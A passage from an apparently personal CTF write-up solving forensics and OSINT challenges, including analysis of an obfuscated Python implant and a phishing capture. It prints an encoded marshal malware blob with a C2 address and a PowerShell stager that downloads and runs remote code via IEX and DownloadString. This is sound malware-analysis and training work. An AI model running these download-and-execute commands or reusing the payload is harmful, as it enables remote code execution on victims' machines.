\x9ff\x10\x83p\xc5\xc1C\xf4\x8c5\xda\xe5\x82)\xcf\n\xbfWZ\xc0\xd1\x9b`\xacFt\xba\xed\xaf#\xc8\xf8\x96\xe9=Zd\xa4h\xa3d>\xb2\xec\xac\x98\xe6%\xca\xb2r\xe2\xd7\xb5\x80\x8c\x1cb0\xadC\x8a\xdb\x1e\x1d\x9ek\xf0>\xcf\'7=\x9b\x19\xdee@\n\xaa\xac\xd2N%$\x91]\xa7\x13c\xe7\xce\x95\x96\x81Yh\nS\xd1\xdc\xb5\xe3d{\x13\xc5\xeau22\xcc\xec\xe1\x19\xb6\n\x8e?\n\x01\xdey\x04t\x02"@\x82\x12J\x88\x86\x1b\x83Un\x03Uy\xed\x82\xc3\x19\xdd\x86\r\xda\x1a\xde\x7f\x14\x90\xb3\xaf?\x05\xd3\xf0\x05\xe9\x85\x83\x99m\x8ae\x86\xd59Zl\x83i\x04u<\x92]\xe9\xca\xbc\xf5k\xcd\x8e,\xc1\xfcU\xc7\x84%|>\xfbt\x9c\x04\xf0}\xceQ|Wy\x9eN\xa8\x19#\x12\x94\xf1\xfdX5`\x19\x0e\x87NwC\xa5\x80p\xb1\xd9\xc73F\xe8\xa5\x9c\x00\xe5\xb1)\xd3]\xa6\r\x9d\x1a\xdd\xa4\x91\xb9z}\x1bg\x12\x9e<\nB\x88\x0e\xdf:\x1c\t\xc3\xa3\x85\x1b\x98y\xec\x0c\x9a\x12Pr\xcdC\xea1\x7f\x01\xef\xc3\xb0\xdd16\xe7\x1e\xf7\x1fv4\x17\r\xd3\x86\xceE@\xce\x15T\xce\x00\xf3@\xd9\r\x05\x19@V\x1c"\x86\xa6\x9c&,\x05\xa6%\x02n(^9\x86\xa65#\xc8\xb5]\x88\x8e\xa2,1\xc3u2\xe0\xa8 \x01\xff"|\xffG\x0b6\xbeU\x8a\xf7;YD\xda\xb4u)l\xf6~\'\x0e\x9b\xb3/\x98Q1\x04\x12JI[\x11*\x81\t\x07\xcb\xadw\xc9\xbf\xbf\xbe\xbaa\xc6\xce\x9e)\x98v\x15\x01j\xa15\xbd\xd0\xcb.\xe3\xd7\xa2`\x15\x9e\x854\xd3\x1am\r\x13A\x9a\xa5\x0b\r\x81\r\xb9\xb3%)Bmr\x12L\r>\x87\x07K\xea\xden\x87\x01c6%\xea\xa5\xd8\xb54\xc0\xca\xb8SBd{O\x9c \x88\x86\xee-80\x81Vv\x08[P\xc221\x9e &,t\x11/9\xe0\xd0\x1f\x1d\xcd\x94\xb9\x95\xc7V\xcb\xd6\xf2M\xf7\xf4gT\xa2\x19\x94\xd9\xfb\x7f\x15\x90\xc5\xb2&\x9e}\x0cq\xe8\xdc(\x1a{l\\\x88\xb8\xab=\x8b\xaaCm\xc0\xcb\xb5w=\xf8\xff\xa3\xdfY\x94\xa5\xa5\x9d0\x04U\x8al\xb8iw\xa3\xb0%\xf1 \x03H\x80\xc9$v\xe6\x98|#DYP\xa4\xfe\'\x04\xe0&\x88+\xeb\xce:\xa0cm,\x1aQ\xfdN\x1c\x97\xa3\x98\xb5q\x1c\xefE\xabEC\xaa\x82\x00\x8c\xcb\xee\x8d\xd6l\xe5\\\xca;\xf9d\xd4\xa5\xaen\xfaW=\x88kU9\xfe\x95&c\x13\x0cL7+5\xe2\xde_\x9f\xf6t\x05Hn\xe2\xff\x9dzi\x9a\x03@`u\xea\x98\xb5\x8e\xd9\xa3W\x85\x96O\x85\x9bf\xc1\xb6\xa4x\xa2/=\x0f\xa6T\xde\xac\xc6\x84\\\xa5q \x8eZ\xd5p*-qC%\xec\x85aH\x90>\xc1\x97%B@\x12B"u\xd5R\x0f\x10`&\x9ai\x1cl*F\xefOr\xaee\xaf\xa9\x88q\xa2k93\xe6\xf6\xf5\xa8n\xd0\xf42\xe5<\xf7}\xad\xdc\xd4)L\x11\x97\xd4\x92\x11E\xe1\xa0\xa4\xe4{\x9a\xe6T\xda \xee\x83\xb7\xce\x17\xb0\xb3\x0c\x11\x8f\xc1t\x0c\xb5\x87\x9e\xbb\x0f\x0fql\xe8T\xc5\x02+E\xdd\xbcQ\x92\xb8\xb8\xc8*,(K\tUk\x16\t\x86\xb9@\'\x04\xc1l&\xcf)\x1f\x14V\x0b\x80\xd2\r\xab\xec\x07) \x0c\x0f\x80\xee\x16\x14\xf9\x9c\xcbKE\xed`;5\xa9\xc2\x105X[\x87\xd6j\x95\x18\xcaY\x99\xba\xe6\xe8\x04q\x8344\xceW\x00\x05\xc4\x15\xfb\x82\xea9\xfcJ\xa3L\x8e\n\xc1\xb4\xb3sY\x84`\x98\x99\xccy\x0f{\x02P\x8e\n\xb3\xe5\xeclN\xa8\xb5]\x84!I\x80\xa4\x8at&\xe4eu\xba\x15T\x1fv\x90fx\x81P9\x1a\xf5G\xa9\xa2\x9c\xed\xc4W\xa0\xbb\xa5j\x1e\x1b\xd9%J\xb3z1I`\x19s\xd9\xb0\\\xca\xfdd\xd54!\x829\xc2|\x0c\xed\xdb\x0e\xde:\xcb%l-\xf6\x8f\xef\xde\xe2\xa5h\xb6e\xc5\xc7!\xc6 @B\x97.\xc2,~\xf8\x8a\x14\x94\xeb\x8emR\xf8\xfb\xa5"Qd\xc0\xe6\x81\xbe\x9fc=s\xd6,V\xca\xb1\x80!U\x8c\x82"\xddme\xbc=\xf9\x1b\xfc\x8d\xe6+\xc3\xc8:y\xe2\xfcZ\x1c\x88\x9f{\xdbZK\xb0#,\xb8\x9f\x10\xe1\x03\xb0H\x7f\x89w\xee\xd7\x9dvx\xafo\x98vge%\xdc"\xd1\x0f\x9dQ?\x83N\xe3\xb4\x14j%|C\x08\xb0\x16K\xc1H\x9d\xf8\xbc\xf4\xae\xa7\x8aA\xd0\xbfCM\x85w\x82)c\xcc\xd4\xcaV\xc52j\x14ObB&\xe7NQ\x9e\'93M\x8f`!\xcc\x80#%\x04\xd2\xeb"T\xbe\x8d0\x04\xa5\xad\xa3\xab\xf6\xd5\x86\xe214\xb1\xa6\x12\xa6*t\x94Q\x0c!\xc1\xe0#\x18\x8a\x81\xe4\x12A\xccK\xc6\xa3\xa9\xd0kh\xbb\x11m\xd7\\\xe6\xe8wr\x990\xc0\x83\x85\rC\x9d\xc8\xc7\xfcv\xf8Y/\x93\xc30NFe\xc2\xf7s\x91\xb7B\xa6\x10bb\x11\x18\xb0\x19\xf4\xa1X\xb9\x92\xb3\xdc+\x962\x9c\x0bt\xd9l,&\xe8\x1f\x0b\xfe\xf4\xb7\xcd\x0e\x11\xc9#Z\xb0\x90d2]\x06\x89\xcd\t\\\xa3\t\xad\x8d\x9b\xe5Z\xd0\xa6\xa73q{>_\xd7\xdd\xe21\x83\xa2k\x04DO\xc0Ag;Z\x99;\xdf\x14\x9e<\xe3v\x1d\x99\x8b\x9a\x98d\xe6\x05\xcd)\x94\xc2\x9b:F \xcdG\xdeP\x869\xdd)kg\xd2\xde*\x1a\x9c\x04\x10\x12z\xda4\x8d,\xcb\xec\xcbR\x99\x0f\x9c\x81\x08\xearz\xe5R\x17\'Y.=\x9el\xe9\xc4\xeew0\x08\x06\xc0g/m\xe0\xf04\x1c\x0c\xfcN\xc0Q\xaa\xbf\xc5\xe8\xa0y5\x88\x83\xdet\xa3\xce!e"\\\x13F\xeeo\xf7]\xcd\xa0t\x01F[h\xad\xa0a\xd7\x02\xda5\xcdo\xa9>\xf0\x88P\x9dM\xb3A\xc8\x92\xd6\x8b\x1b.\x8b\x8f\x9b\x8c\xda\x9cQ\xa1o\x14\xeb\'\xeb\x9f?\xf1\xd5\x87P\x0c\xb6g*\x1bqX\x93P=@\x1c\x0b\xab\xec\t\x1dq\xa9\x94\x16\x10u\x0ez\xc7\x9eG*\x12\x06K\xf5\xb8\x1ca\xe7 \x1a\xf0\xb5\xa8\x879\x86\x18\xe2\xb0\x96\xc1]~`ac[\xc2\xde\x83\xa5G2@[2\x96\xc5f\x7f\x17\xa7\n\x1b\x9cU\x06\x07;`\x96\xa31\t\xe8\x94t\xc0\xbdzW\xaeW\xb3^\xf4\x9e\xf6\x834\x0c\xb2"\x8e\x94\xda\xafp\xa4%N\x93\x045C\xa1`A\x02\xc1-h\x80\x8d\xb6\xc9d\xc5\xde\x98-\xa2\xbf\xafB\x8c\xd2\x9a\xbe\x98,\xc4\xfd\x93(V\xd1j\xd3\x1cA\xb5\xae\x7f\xae\x8e\x9c\xb0)\x8b5\x96\x0c\xffR\x9e\r\t\xae24\xf6\xf6\xfb\x85=\xc7\x8dd\xc8O1\xcb\xce\xb2*\x98\x1d\xb5LW\xaft\xcb\xcb\xbe)\xfc\xc0L\xacJ\x03\x95\x1b\x85\x94\xd0^\xe2uv/\x00\x10\r\'\x1e\xc7\xb5\xfd\xe7\xe6\xaf\x03\xa6\'\x88U\xab\xd9\xa85\x8a\xca\xd4\x84o\xb0\x83\xc4\xb9\x1a\xf4\x8c\xc0\xb9T\xae\x86\xa2cP[\x80D\x1a\x91z\xca\xb0\x83`4\x84\x8aM\';r\x91d%\x99\x89\xa7\x10Xp\xc8\x96\\\x82[\xe8\x9b\x01\xc0\xdd\x07\r\x10\xc7\x85\x83R\x04Tc\x1e\x99<)\xc9\x98`\x16\x9c\x82bl\xac\xa9I\xedh+P\xcc\xa7l\xb17\x97S\x1b\x83W\xbe\xa5|\x083ZJ\x80\xec\xcfm\xc8\xd9\x8b\x1a!\xbf\x0c\x14\x12<{f\xa2\xa0\x05u\xb2\xf9\xf2\x9a\xde\x95r\xa0\xf5>"\'\xe9\xe8\xae\x12\x1a\x12\x92Q\x11\x91\xa8"\xe2\xbf0\xb2\xe5Z\x88D\xe6\x01\x88#\xd3\xaa\xabV}\xbd\xd6Kh\x1aOG\x96*\xa0\xd7\xad\xd8\\h\xc3U\x80\x7f\xa0\xb3\x04\x86\x0f\xa4\xb2\xb5\xfb*VV\xa5\xab\xc5 \xba(U*\x1e8\xa7\xa1R\x17\xb5H\xcbh\xf8\x1d}\xf5I\xa7UY\xca8#\xf6k!&|>\x13(<\xb3\xcf;#\x8b\x11\x8e\x9f\x07I\x03 \x13\xf8\xde:\xceW\xc0,V\xc0X@\xd0\x02\x04bT+\xc3\xd0\x14uu\xeb\xbbE\xa4X\xef\xed\x1c(\x9a\xcc\xf9n+\xf0\xe0f\x9fv/v6\xed\xd2\xc6/\xca^\xd0\x8bt\xe9&\xdc\t\x93\x80\x8a\xa4F\xa6xn`\xb7\x9d\x86\xc7c\xa0Y1\xe6\x89\x92\x08h\x8b\xf8)8?\x13\n\xe6<\xd8\xea5\xec\x80\x01b\xc6\\\xbe\x90\x07\xc8.a\xca\xca\x91\xd8hQ\xb1\xc4\xf9\xf2\x1a\x95\x8c\xe1h0\r+\xb0:\xd4\x02$!PC\x83P\xe4L\x99\xb9\x16q\xd4\xa1\x98\rJ0\x97\xd7\xdb3|\x80\x81\xe8\xe1.\x00@\xa8\xca\xc7\xd5\xfcK\xc9\xaa\xc6\xec\xc7\x97\xbc\x99\xb6m\xf1\x87\x9aM\xbdO\xd3?\xbc\x97\x93\xaflr\x9c=\x8f\xce\xfe\xd4*\x03\x92?*T\x18<\x85\xc2+\x04\xc3@\x04\xf5\xf3\xc0ji#\xe4p\x18\xb5\xcd\x1f`b\x83\x99\xa3\xfc\x00?\x8fK\xbc\xa6g\xd9\x00\xd2v\xdf\x97+\xd3\x961\xa8zm\xe5\x9bP\x04\xf2L&? \xc0`\xb4\x00\xca\xf0a\xbe9C\x80b\x87E\x83\xceh\xf93t}[\x1f\x9a&\xfa\x0c\x1a`\xe5\xcc?e\xdb\x06\xe3<\xf7IGH\x9c]%hp\xec?$\x19\xb9O\xd1)\xb9\xb2\x0c\xb7\x03ZGX\xe3\x92\x08\xd2\xc9VBp,\xb7\xec\x943\x8a\xd2\x1f5A@HQ\x9d \x80\xa3p8\xf1\xa2M\x07|\x95n\xe3\x92k\xf9\xb5\xd0 \xa7\xc0\x85/\xfcC]\x04<\xd5\n5\x87\x11\x17\xe4o@\x9b*\xc0\n\xc3NkOh\xf8n \nj?\x9f=\xf5}\x06\x15h\x977A]\x0b\xb8\x94\xbe\xb0\xd7\xbe\xba\x8e\xb7\xafn\xa6\x9f#\x08?5\xde\xddm?\xec\xc6\xaa3\xd6jV\x0b.\xeam\xab\x94`\x95O\x13\x188\xc6\xc8I$9\x83\x7fil\xf2\xf9\x17\x19h\x93*\xbfk\xb2\xea#\xad\xbf\xcb\xe5{C\x15\xcef^\xca\x88\x99Wya\xac\x8c\xdb\x11\x16\xd9\x07\x05y\xe5C\xb4,\xc2\xc3\xcdP\xd2\xec\xe4\xceT$\xaa*\xa1&[[\x8d\xb7\xc5\x9b\xc3C\xba)_F\xba\xbd\xac<N7)g\x9f\xc1\xd8p\xab\'\xd9#K\x966z\xfc\x9d\xeb\xd7w\xb7\xd0\x89\xa4\xb9 \x88\x88\x846\xb5\xa1\x84J\xce\xa2\x0b\xe877\xf7\xf3\x17\x0c\xd3\xd0)\xe3\x07\xdcvm\xa0#\x96\xffx\xaa\xe6E_\x07aO\xefj\xba\xe3c\x9b\xdel$\x83h\x9e\tL\x1f\xa0}%"p\x9c\xd4\xd1\x9e\x8e\xfdf]\t\xac#\xbf\x15\x9c<\xf3-\xc2Zj\x99\xae\xc8.\xb3\x9d5\xfa\xe2\xae\xea\xba\xf4\xc63\x04Ot\xf9\x12\xd1{nMJB\x1b,\xbc\xbek\xa0\xca\xa6\xa5\x93/\x0f\xa1)Y\xb4v2L3\xa5\x8d\x0cq(\x0f\x18\x10\x82P-"\xe5\xe1\xe8\xb3\xa3SxJ\xcc\x0c\xdc\xae-n\xf7}w\x19\xae.\xcbi\\b\xdf0[\x10\xe9\x1a2xVZK\xd0S\x88\xd2c&+\xf7\x83Oj\x9d\xab\xb7Uh"z\x97\xf0\x9d\xa7\x92\xd6[(w\x0e)\xc8\xffM|\xa3j\xa15\xc7\x04\xe4Z\xd8\xa2\x88\x08\r\xea\x90J\xbaM\x01\xb0\xd2uQ\xc0\xa1\xcd\\\xadV\xe2\xf3.\x0bl\xe8\xa9^$\xc9\x95\xf6T\x13W\x18\x824\x016\xc8%,\x08\xbe\n\xa2\xd5AB\xdd5[=m7:\x06\xa0\x80\x86\x04\xb5\xe5E\x83K>qyY\x94S\xb8\xd80\xd6[\xc2\x84k\x0b\xdb\xec\x15\xb6\xcf-\'\xf0e@f\xa9Q6U\xcbi\x13N\xbas]3Q\xb1\x8diFP\xbb!P\xff\xd2\x82n\x98\x9dH^\xd6k\xd3\x8e%\xe0k\xca\x9b\xd4\xff\x90\xba-Q\x15\xa5\xd3\x14O\xe0\x12\x06]"\xb2\xa8\x82\xac`\'L\x98\xbd\xbcb;\xad\x13T\x95\x15o\x1a!\x89\xc3\xadN|z\x9bv\xf9\x98\x14\xca\xff\xe2\xeeH\xa7\n\x12\x11\xa5N\xe0\x00'
)
code_object = marshal.loads(decompressed_data)

print(code_object.co_consts)

This will print the following constants:

(
  0,
  ('popen',),
  None,
  ('AES',),
  ('pad', 'unpad'),
  'whoami',
  4096,
  '<SEPARATOR>',
  True,
  <code object enc_mes at 0x100679a70, file "Py-Fuscate", line 23>,
  <code object dec_file_mes at 0x1008301c0, file "Py-Fuscate", line 33>,
  <code object dec_mes at 0x10069ef70, file "Py-Fuscate", line 40>,
  <code object receive_file at 0x11400d200, file "Py-Fuscate", line 51>,
  <code object receive at 0x11400ec00, file "Py-Fuscate", line 80>,
  '__main__', ('13.61.7.218', 55155),
  '',
  <code object <genexpr> at 0x1008381a0, file "Py-Fuscate", line 168>,
  16,
  600,
  50,
  ('target', 'args')
)

There we can see it uses AES, probably executes whoami and the name of the obfuscation tool can be seen as Py-Fuscate.

IP address and port of C2 server

Also from the constants, we can see ('13.61.7.218', 55155).

Silent Trap (Forensics, Unfinished)

This is also an unfinished challenge.

We were given a network capture file (Download the file) to investigate and multiple flags to give.

Subject of the first mail the victim opened and replied to

The HTTP stream 4 showed that the user was first looking at the mail with object Game Crash on Level 5.

Date and time of suspicious mail

The HTTP stream 8 showed that the user viewed a mail with a ZIP file as attachment

I then recovered all the mails in the inbox from the JavaScript of the requests:

this.add_message_row(
  {
    subject: "Bug Report - In-game Imbalance Issue in Eldoria",
    fromto:
      "<span class='adr'><span title='[email protected]' class='rcmContactAddress'>[email protected]</span></span>",
    date: "Today 15:46",
    size: "13 KB",
  }
);
this.add_message_row(
  {
    subject: "Game Crash on Level 5",
    fromto:
      "<span class='adr'><span title='[email protected]' class='rcmContactAddress'>[email protected]</span></span>",
    date: "Today 15:33",
    size: "630 KB",
  }
);
this.add_message_row(
  {
    subject: "UI Glitch on Inventory Screen",
    fromto:
      "<span class='adr'><span title='[email protected]' class='rcmContactAddress'>[email protected]</span></span>",
    date: "Today 15:32",
    size: "1 KB",
  }
);
this.add_message_row(
  {
    subject: "Payment Processing Error on In-Game Purchase",
    fromto:
      "<span class='adr'><span title='[email protected]' class='rcmContactAddress'>[email protected]</span></span>",
    date: "Today 15:31",
    size: "1 KB",
  }
);
this.add_message_row(
  {
    subject: "Lost Game Progress After Recent Update",
    fromto:
      "<span class='adr'><span title='[email protected]' class='rcmContactAddress'>[email protected]</span></span>",
    date: "Today 11:49",
    size: "326 KB",
  }
);
this.add_message_row(
  {
    subject: "Multiplayer Mode Freezing Issue",
    fromto:
      "<span class='adr'><span title='[email protected]' class='rcmContactAddress'>[email protected]</span></span>",
    date: "Today 11:47",
    size: "1 KB",
  }
);
this.add_message_row(
  {
    subject: "Account Locked After Password Reset",
    fromto:
      "<span class='adr'><span title='[email protected]' class='rcmContactAddress'>[email protected]</span></span>",
    date: "Today 11:46",
    size: "1 KB",
  }
);

It is now possible to quickly find the date and time when it was sent, Today 15:46 with Today being Mon, 24 Feb 2025 according to the packets.

MD5 hash of malware file

The ZIP file is named “Eldoria_Balance_Issue_Report.zip” - and we can see the packets that download that file on stream 12.

Using that data, we can recover the hex data of the file and the password to open the ZIP file is in the mail, so eldoriaismylife.

We can then just run md5sum Eldoria_Balance_Issue_Report.pdf.exe and we get c0b37994963cc0aadd6e78a256c51547.

Credentials used to log into attacker’s mailbox

Opening the exe file in ILSpy we get the following code

We can clearly see the email and password being [email protected] and completed.

Thorin’s Amulet (Forensics)

We were given an artifact file:

function qt4PO {
    if ($env:COMPUTERNAME -ne "WORKSTATION-DM-0043") {
        exit
    }
    powershell.exe -NoProfile -NonInteractive -EncodedCommand "SUVYIChOZXctT2JqZWN0IE5ldC5XZWJDbGllbnQpLkRvd25sb2FkU3RyaW5nKCJodHRwOi8va29ycC5odGIvdXBkYXRlIik="
}
qt4PO

There is an obvious base64 encoded string, so let’s decode it. We get as result the following:

IEX (New-Object Net.WebClient).DownloadString("http://korp.htb/update")

Considering I then went on the /update endpoint of the IP address given in the challenge, which resulted in the following powershell code:

Invoke-WebRequest -Uri "http://korp.htb/a541a" -Headers @{"X-ST4G3R-KEY"="5337d322906ff18afedc1edc191d325d"} -Method GET

So I made a request to that endpoint with the header in the code, used Edge because why not

Edge edit request
Edge edit request

This gave me the following base64 encoded data

JGEzNSA9ICI0ODU0NDI3YjM3NjgzMDUyMzE0ZTVmNDgzNDM1NWYzNDZjNTczNDU5MzU1ZjM4MzMzMzZlNWYzNDRlNWYzOTcyMzMzNDM3NWYzMTRlNTYzMzZlMzczMDcyN2QiCigkYTM1LXNwbGl0IiguLikifD97JF99fCV7W2NoYXJdW2NvbnZlcnRdOjpUb0ludDE2KCRfLDE2KX0pIC1qb2luICIiCg==

Which resulted in the following powershell code:

$a35 = "4854427b37683052314e5f4834355f346c573459355f3833336e5f344e5f39723334375f314e56336e3730727d"
($a35-split"(..)"|?{$_}|%{[char][convert]::ToInt16($_,16)}) -join ""

I do not have powershell installed, hence I’ve used https://codeinterview.io/languages/powershell to run that code and get the flag for me.

I love executing things on random machines.. :)
I love executing things on random machines.. :)

Echoes in the Stone (OSINT)

The following image was given to us:

A quick Google reverse image search revelealed the name of the cross, the flag

The Stone That Whispers (OSINT)

The following image was given to us:

A quick Google reverse image search revelealed the name of the hill where that stone is located as well as its name, the flag

The Mechanical Bird’s Nest (OSINT)

The following image was given to us:

Having spent quite some time during my military service on Google Maps in my free time, I’ve noticed this was the Area 51. Getting the latitude and longitude of the point, so the flag, wasn’t too hard:

The Shadowed Sigil (OSINT)

The 139.5.177.205 IP was given to us, and we had to find the APT related to that IP.

A quick Google search for the IP (https://google.com/search?q=%22139.5.177.205%22+site%3Agov.uk) revealed a website that mentioned the IP being linked to APT28.

The Ancient Citadel (OSINT)

The following image was given to us:

A quick Google reverse image search revelealed the name of the castle and searching that on Google Maps gave the address, the flag:

The Poisoned Scroll (OSINT)

There was no image, no file whatsoever, just the following description and had to find the name of the malware.

In her crystal-lit sanctum, Nyla examines reports of a series of magical attacks against the ruling council of Germinia, Eldoria’s eastern ally. The attacks all bear the signature of the Shadow Ravens, a notorious cabal of dark mages known for their espionage across the realms. Her fingers trace connections between affected scrolls and contaminated artifacts, seeking the specific enchantment weapon deployed against the Germinian leaders. The runes along her sleeves pulse rhythmically as she sifts through intercepted messages and magical residue analyses from the attack sites. Her network of information crystals glows brighter as patterns emerge in the magical attacks—each victim touched by the same corrupting spell, though disguised under different manifestations. Finally, the name of the specific dark enchantment materializes in glowing script above her central crystal. Another dangerous threat identified by Eldoria’s master information seeker, who knows that even the most sophisticated magical weapons leave distinctive traces for those who know how to read the patterns of corruption.

From the description I’ve analyzed the following:

  • Germinia: Germany
  • Germinian leaders: German leaders
  • attacks—each victim touched by the same corrupting spell, though disguised under different manifestations: It’s probably a malware family

So I searched german leader attacked malware family and stumbled upon the Google blog post which gave the name of the malware in its title being WINELOADER.

A new Hire (Forensics)

We were given an email which just contained a mention to go to /index.php, so I did and by inspecting the page of the resume, I’ve seen the following code:

function getResume() {
  window.location.href = `search:displayname=Downloads&subquery=\\\\${window.location.hostname}@${window.location.port}\\3fe1690d955e8fd2a0b282501570e1f4\\resumes\\`;
}

Going at that location on the website, there were lots of new files - which lead nowhere special - besides the client.py file which contained

key = base64.decode(
    "SFRCezRQVF8yOF80bmRfbTFjcjBzMGZ0X3MzNHJjaD0xbjF0MTRsXzRjYzNzISF9Cg=="
)

Decoding it gave the HTB{4PT_28_4nd_m1cr0s0ft_s34rch=1n1t14l_4cc3s!!} flag.